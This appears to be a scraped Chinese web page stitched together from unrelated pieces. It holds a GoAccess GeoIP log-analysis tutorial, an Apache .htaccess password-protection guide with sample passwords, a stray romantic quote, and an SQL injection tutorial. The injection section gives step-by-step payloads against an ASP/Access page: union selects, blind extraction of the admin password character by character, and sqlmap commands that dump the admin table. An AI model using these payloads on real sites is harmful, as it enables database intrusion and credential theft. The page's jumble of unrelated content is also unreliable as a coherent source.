整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

全球足迹:用GoAccess绘制访问地图

全球足迹:用GoAccess绘制访问地图

象一下,你站在世界地图前,手中的放大镜缓缓移动,寻找着那些隐藏在数字海洋中的神秘岛屿——IP地址。

今天,我们要介绍的GoAccess,就是这样一款能够将IP地址转化为全球地理分布的强大工具。

一窥数字世界背后的真实

你有没有想过,当你浏览网页时,你的IP地址就像是一张张明信片,记录着你的在线行为并发送给网站管理员。而对于网站管理员来说,如何有效分析这些数据,了解访问者的地理位置分布,就成了一个重要的问题。GoAccess的出现,为这一问题提供了完美的解决方案。

探索GoAccess的神秘面纱

首先,让我们来看一个实际的案例。假设你拥有一个全球性的电商平台,每天都有成千上万的访客从世界各地涌入。通过GoAccess的数据分析,你可能会惊讶地发现,尽管你的商品在全球范围内都受欢迎,但某些特定地区在特定时间段内的访问量远远超出了你的预期。

# 输出到终端且生成一个可交互的报告
goaccess access.log

# 生成一份 HTML 报告
goaccess access.log -a -o report.html

# COMBINED     | 联合日志格式
# VCOMBINED    | 支持虚拟主机的联合日志格式
# COMMON       | 通用日志格式
# VCOMMON      | 支持虚拟主机的通用日志格式
# W3C          | W3C 扩展日志格式
# SQUID        | Native Squid 日志格式
# CLOUDFRONT   | 亚马逊 CloudFront Web 分布式系统
# CLOUDSTORAGE | 谷歌云存储
# AWSELB       | 亚马逊弹性负载均衡
# AWSS3        | 亚马逊简单存储服务 (S3)

# GoAccess 非常灵活,支持实时解析和过滤。例如:需要通过监控实时日志来快速诊断问题:
tail -f access.log | goaccess --log-format=COMBINED -

开启地理解析之旅

配置GoAccess以实现地理IP解析并不复杂。首先,你需要从源代码编译安装GoAccess,并启用地理IP解析支持。这一步骤通过以下命令即可轻松完成:

--enable-geoip=<legacy|mmdb>

Compile with GeoLocation support. MaxMind's GeoIP is required. legacy will utilize the original GeoIP databases. mmdb will utilize the enhanced GeoIP2 databases.

$ git clone https://github.com/allinurl/goaccess.git 
$ cd goaccess
$ autoreconf -fi
$ ./configure --enable-utf8 --enable-geoip=mmdb
$ make
# make install

地理数据库的选择与配置

接下来,你需要获取并配置地理IP数据库。这里有两种数据库可供选择:标准GeoIP数据库GeoIP2数据库。标准GeoIP数据库占用内存较少,适合对资源有限制的环境;而GeoIP2数据库则提供了更为详尽的地理位置信息。

方式1: 下载标准 GeoIP 数据库

-g --std-geoip 标准 GeoIP 数据库,低内存占用

# IPv4 Country database:
# Download the GeoIP.dat.gz
# gunzip GeoIP.dat.gz
#
# IPv4 City database:
# Download the GeoIPCity.dat.gz
# gunzip GeoIPCity.dat.gz

方式2: 下载GeoIP2数据库-MaxMind

注意: --geoip-city-data--geoip-database 的别名

# For GeoIP2 City database:
# Download the GeoLite2-City.mmdb.gz
# gunzip GeoLite2-City.mmdb.gz
#
# For GeoIP2 Country database:
# Download the GeoLite2-Country.mmdb.gz
# gunzip GeoLite2-Country.mmdb.gz

下载并解压相应的数据库文件后,你只需在GoAccess的命令行参数中指定数据库文件的位置,即可让工具在分析日志文件时自动将IP地址与地理位置关联起来。

更多配置请参考官网用户手册

注册并登录maxmind,可以免费下载离线数据库.

然后一键直达数据库下载页面,有很多不同类型的数据库,选择GeoLite2 (.mmdb)

最后解压缩到本地,上传到服务器某路径下,接下来就可以让GoAccess具有解析地理位置的能力啦!

如果不想自己下载数据库,开箱即用,可以私信「雪之梦技术驿站」评论回复领取!

实时地理位置可视化

无论是生成静态的HTML报告,还是实时更新的HTML报告,都可以通过简单的命令行操作实现。例如,你可以使用以下命令生成一个包含地理位置信息的静态HTML报告:

# 静态HTML报告: 开启地理位置支持
goaccess access.log -o report.html --log-format=COMBINED --geoip-database=/path/to/GeoLite2-City.mmdb

或者,如果你想实时查看数据,可以使用以下命令生成实时HTML报告:

# 实时HTML报告: 开启地理位置支持 
goaccess access.log -o report.html --log-format=COMBINED --geoip-database=/path/to/GeoLite2-City.mmdb --real-time-html --daemonize

地理位置的局限性

使用GoAccess的地理分析功能,你将能够直观地看到访问者的地理位置分布,这不仅能够帮助你更好地理解用户行为,还能够为你的商业决策提供数据支持。然而,值得注意的是,免费的数据库文件更新频率可能较低,这意味着某些IP地址可能无法解析出具体位置。但这并不妨碍我们利用现有数据做出明智的决策。

结语

在这个数据为王的时代,让我们用GoAccess绘制出属于你的世界地图,让每一次访问都成为探索的起点,每一次分析都成为成功的基石。开启你的数据之旅,从这里开始。

往期精彩文章

  • 解锁Nginx日志的宝藏:GoAccess——你的实时、交互式Web日志分析神器!

.基于用户名/口令的认证方式

这种认证方式其实相当简单,当WWW浏览器请求经此认证模式保护的URL时,将会出现一个对话框,要求用户键入用户名和口令。用户输入后,传给WWW服务器,WWW服务器验证它的正确性,如果正确,返回页面,否则返回401错误。要说明的一点是,这种认证模式是基本的,并不能用于安全性要求极高的场合。

Apache中有许多模块可以支持这种认证方式,下面我们就介绍一下最基本、最标准的mod_auth模块。正如前面提到的一样,mod_auth模块使用存储在文本文件中的用户名、组名和口令来实现认证。这种方法非常适合处理少量用户,它能工作得很好。如果你需要对大量的用户,比如数以千计的用户做认证时,这种方法的性能将急剧下降到不可忍受,所以当这种情况下,就需要考虑使用mod_dbm模块或mod_mysql模块来获得更好的性能。

1.修改一个目录的配置:

Apache支持在需要限制访问的目录下,建立.htaccess文件来实行访问限制。

添加mime-type定义

允许或拒绝某个主机

2.设置用户和密码数据库:

AuthUserFile 指令

htpasswd命令:

htpasswd -c /etc/httpd/mypasswd bob

使用htpasswd命令,在密码文件中添加项目。 —c选项将建立此文件,如果它不存在。

3. 用户可以根据httpd.conf中记录的AllowOverride内容,在.htaccess文件添加访问控制语句以取代在httpd.conf中的记录。

AllowOverride authconfig被用于通过特殊的目录文件.htaccess指定能超过哪个和怎样的配置。能通过个别用户去修改某个Apache配置来建立这此文件,它们将不用修改其他的文件。

本质上任何事能在httpd.conf中配置,使用.htaccess文件去修改。这些文件同httpd.conf有相同的格式,并且放置在此目录中的渴望的改变将出现在配置中。

大多数普通执行的任务之一在用户的htaccess文件中添加授权,典型地,一个用户将为目录设置授权,用一个配置保持敏感信息,例如:

# sample authentication .htaccess file

AuthName ‘Bob’s Secret stuff’ (定义受保护的领域的名称)

AuthType basic (定义使用的认证方式,分为basic和digest两种)

AuthUserFile /home/bob/mypasswd (指定认证口令文件的位置)

require user bob (授权给指定的一个或多个用户)

用以上.htaccess文件,任一访问到此目录存储这个文件将需要一个用户名和密码去处理。特别的,仅用户bob被允许,即使如果其他用户在/home/bob/mypasswd文件列表中。注意,你不希望存储你的密码文件在一目录中并可从web存取,如果获得访问密码,它可以被下载和破解。

4. 改变.htaccess文件设置不需要重启httpd

5. Allow Override内容决定.htaccess中记录的有效字句范围:

Option:支持option设定

Authconfig:支持用户认证

Limit :支持基于主机名的访问限制

All:包含以上所有内容

6.举例说明

⑴ 需要用户名和口令的访问控制下面我们就一起来看一下如何建立需要用户名/口令才能进行访问的目录。基本情况: http://www.xxx.com/的站点有设置为:

DocumentRoot /home/httpd/html

AccessFileName .htaccess

AllowOverride All

需求:限制/home/httpd/html/backup/目录的访问,只允许用户"super"以口令"fill-06"访问此目录。

实现步骤:

使用htpasswd建立用户文件

htpasswd -c /home/httpd/secr/.htpasswd super

此程序会询问用户"super"的口令,你输入"fill-06",两次生效。建立.htaccess文件用vi在/home/httpd/html/backup/目录下建立一个文件.htaccess,写入以下几行:

AuthName My Friend Only (注:这个名字是任取的)

AuthType Basic

AuthUserFile /home/httpd/secr/.htpasswd

require user super

设置文件权限,确保Apache用户有读的权限这样就完成了设置工作,你可以试一试效果了。

⑵ 允许一组用户访问一个目录

假设,现在www.xxx.com想让myfriend组中的mf1与mf2两个用户分别能使用口令"mf001-1""mf002-2"访问/home/httpd/html/backup/目录。

实现步骤:

使用htpasswd建立用户文件

htpasswd -c /home/httpd/secr/.htpasswd mf1

htpasswd -c /home/httpd/secr/.htpasswd mf2

建立组文件用vi/home/httpd/secr/目录下建立一个文件.htgroup,写入:

myfriend:mf1 mf2

建立.htaccess文件用vi在/home/httpd/html/backup/目录下建立一个文件.htaccess,写入以下几行:

AuthName My Friend Only

AuthType Basic

AuthUserFile /home/httpd/secr/.htpasswd

AuthGroupFile /home/httpd/secr/.htgroup

require group myfriend

配置工作到此结束,试一试吧!

⑶ 混合使用基于主机与基于用户名/口令的认证方式如果你除了只允许让mf1与mf2两个用户访问外,还想禁止除www.mot.com外的主机访问这个目录的话,就将/home/httpd/html/backup/.htaccess修改成为:

AuthName My Friend Only

AuthType Basic

AuthUserFile /home/httpd/secr/.htpasswd

AuthGroupFile /home/httpd/secr/.htgroup

require group myfriend

order deny,allow

deny from all

allow from http://www.mot.com/

钟书在《围成》里写到:“约着见一面,就能使见面的前后几天都沾着光,变成好日子”,是啊,只要能见你,雀跃的心情都会被拉得好长好长。感情就是这样,原则抵不过我乐意,你有你的打算,我有我的目的,因为我喜欢你,我所做的一切都是想跟你在一起。。。

---- 网易云热评

一、网站分类

1、静态网页

html或者htm是静态页面,不需要服务器解析其中的脚本

特点:不依赖数据库,灵活性差,制作、更新、维护麻烦,交互性差,功能受限制,安全,不存在数据库注入漏洞


2、动态页面

asp/aspx/php/jsp等,由相应的脚本引擎来解释执行

特点:以来数据库,灵活性好、交互性好、不安全,存在数据库注入漏洞


二、网站访问流程


三、漏洞产生原因

目标网址:www.aiyou.com/new.php?id=23

1、正常流程数据库返回给网站new页面id为23的信息

2、将参数值23修改为其他的sql语句

3、网站未对该指令进行检测

4、服务器执行了新的语句,并返回给网站

5、客户端根据返回的信息可以继续进一步注入


四、sql注入的危害

1、数据库信息泄露

2、网页被篡改

3、网页被挂马

4、数据库被恶意操作

5、服务器被远程控制

6、破快硬盘数据


五、access数据库

一般配合asp脚本使用,存储数据不能大于100M,只有一个数据库名称,可以创建多个表

1、数据库后缀:*.mdb


2、asp链接access数据库

<%
    dim conn,connstr,db
    db="Your.mdb"
    Set conn=Server.CreateObject("ADODB.Connection")
    connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
    conn.Open connstr
%>


3、常用打开工具EasyAccess


4、漏洞判断

目标:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513

判断注入点:

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513/ 报错,可能存在注入


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 返回正常

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 返回错误 存在注入

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exsits (select * from msysobjects) > 0 判断access数据库,根据错误提示在msysobjects上没有读取数据权限,说明表存在,从而知道是access数据库


5、查询access数据空中的表

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from user) 根据错误判断除灭有user表


http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from admin) 正常返回,说明存在admin表


6、判断列名

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select password from admin),正常返回,说明存在列名password

常用用户名:name username user_name admin adminuser admin_user admin_username adminname

常用密码名:password pass userpass user_pass pwd userpwd adminpwd admin_pwd


7、判断表的列数

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 ,正常返回说明有22列,如果没有正常继续修改该数字


8、联合查询

http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin,知道admin表一共有22列,所以联合查询需要输入1-22,页面只显示3和15,可以修改该两列获取想要的数值


六、另一种方法判断:

1、http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and select len(password) from admin)=16 判断密码的长度,返回正常,说明密码长度为16。


2、 http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97 判断密码的第一位,返回正常,说明密码的第一位是a

判断第二位,成功后修改该值,依次判断剩下的密码

七、sqlmap工具利用

目标地址:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513

1、测试是否存在漏洞

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513"


2、获取表名

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" --tables


3、获取列名

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" --columns -T admin


4、获取指定列的内容

sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" -T admin -C admin,password --dump


禁止非法,后果自负

欢迎关注公众号:web安全工具库